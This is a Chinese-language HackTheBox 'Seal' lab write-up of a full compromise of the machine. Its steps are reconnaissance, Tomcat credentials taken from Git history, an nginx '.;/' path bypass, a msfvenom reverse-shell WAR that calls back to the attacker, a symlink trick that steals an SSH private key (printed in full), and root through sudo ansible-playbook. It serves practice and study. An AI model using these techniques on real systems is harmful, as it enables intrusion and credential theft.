HTB Seal Machine [MEDIUM]

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ rustscan --accessible -a 10.129.139.79 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/organizationalUnitName=Infra/localityName=Hackney/emailAddress=admin@seal.htb
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/organizationalUnitName=Infra/localityName=hackney/emailAddress=admin@seal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
8080/tcp open http-proxy syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 12 Jul 2021 07:21:47 GMT
| Set-Cookie: JSESSIONID=node01v4b0lt1pbivy1nsaj4blloo540.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

443 Port

枚举443端口的目录与文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ rustbuster dir -u https://seal.htb/ -f -e php,txt,json,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 404 -k
GET 302 Found https://seal.htb/images
=> http://seal.htb/images/
GET 200 OK https://seal.htb/
GET 302 Found https://seal.htb/admin
=> http://seal.htb/admin/
GET 302 Found https://seal.htb/icon
=> http://seal.htb/icon/
GET 302 Found https://seal.htb/css
=> http://seal.htb/css/
GET 302 Found https://seal.htb/js
=> http://seal.htb/js/
GET 302 Found https://seal.htb/manager
=> http://seal.htb/manager/
GET 302 Found https://seal.htb/manager/
=> http://seal.htb/manager/html
  • https://seal.htb/manager/Tomcat Manager/manager/text需要认证才能访问
  • https://seal.htb/admin/dashboard*响应状态码为403
  • /manager/html/dashboard均由Nginx返回403页面

/images/HTB-Seal-Machine/Untitled.png

8080 Port

8080端口部署了GitBucket,访问后跳转到登录页面

/images/HTB-Seal-Machine/Untitled%201.png

注册并登录后,发现root的2个Git存储库

/images/HTB-Seal-Machine/Untitled%202.png

seal_market存储库中是443端口上部署的Web应用的源码以及配置文件,而在该存储库中可能有Tomcat Manager的凭据

/images/HTB-Seal-Machine/Untitled%203.png

Git历史提交记录如下

/images/HTB-Seal-Machine/Untitled%204.png

User Tomcat

在描述为“Updating tomcat configuration”Commit中找到用户名与密码

/images/HTB-Seal-Machine/Untitled%205.png

1
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

根据tomcat用户的roles=manager-gui,admin-gui,我们只能用该用户访问/manager/html/manager/status页面,但是对于/manager/html页面会直接返回403,无法进行认证

在描述为“Updating nginx configuration”Commit中找到对nginx.conf的修改,发现Nginx会验证客户端,但我们可以使用.;/进行绕过,URL为https://seal.htb/manager/.;/html

/images/HTB-Seal-Machine/Untitled%206.png

当URI为/manager/.;/html时,Nginx匹配到如下location,直接将请求转发到Tomcat

/images/HTB-Seal-Machine/Untitled%207.png

请求被转发到Tomcat后,Tomcat会将/manager/.;/html理解为/manager/./html,最终返回/manager/html页面

使用前面的凭据通过认证后,接下来部署我们的reverse_shell.war到服务器上

首先,使用msfvenom生成revshell.war

1
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4242 -f war -o revshell.war

/manager/html上传并部署revshell.war

/images/HTB-Seal-Machine/Untitled%208.png

需要注意的是,这里要在Deploy请求的URL中添加.;/,否则还是会返回403

/images/HTB-Seal-Machine/Untitled%209.png

也可以不用Burp,直接修改HTML中form表单的URL即可

部署完成后,到reverse shell的URI显示在/manager/.;/html页面中

/images/HTB-Seal-Machine/Untitled%2010.png

运行nc侦听在4242端口,访问https://seal.htb/revshell得到shell

/images/HTB-Seal-Machine/Untitled%2011.png

User Luis

/opt/backup/playbook/run.yml中发现playbook会将/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下的文件备份到/opt/backups/files,并压缩为GZ文件

1
2
3
4
5
6
7
8
9
10
11
12
13
tomcat@seal:/opt/backups/playbook$ cat run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/

如果在/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下创建符号链接,则能够以运行该备份任务的用户的权限读取特定文件

查看dashboard及其子目录的写入权限

1
2
3
4
5
6
7
8
9
10
tomcat@seal:/opt/backups/playbook$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root 4096 May 7 09:26 .
drwxr-xr-x 3 root root 4096 May 6 10:48 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 10:42 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 09:26 uploads

我们具有对/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads目录的写权限,执行以下命令创建到/home/luis/.ssh/id_rsa的符号链接

1
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa

等待1分钟后,将/opt/backups/archives目录下最新的备份文件解压,读取luisid_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cp archives/backup-2021-07-12-09\:50\:34.gz /tmp/backup.gz
cd /tmp
gzip -d backup.gz
tar zxvf backup
cat dashboard/uploads/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

SSH登录luis用户,读取user.txt

1
2
luis@seal:~$ cat user.txt
068626492cd22943529c18eb9e7b9141

Root

执行sudo -l发现luis可以以root权限执行/usr/bin/ansible-playbook

1
2
3
4
5
6
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

我们可以参考/opt/backups/playbook/run.yml编写一个备份/root目录的playbook

将以下内容写入exp.yml,执行命令sudo /usr/bin/ansible-playbook exp.yml

1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/root dest=/tmp/root_backup copy_links=yes
- name: Server Backups
archive:
path: /tmp/root_backup/
dest: "/tmp/root.gz"
- name: Clean
file:
state: absent
path: /tmp/root_backup/

最后解压/tmp/root.gz,读取root.txt

1
2
3
4
gunzip root.gz
tar xvf root
cat root/root.txt
5b627599bd723ff7bf12dae1a582cf15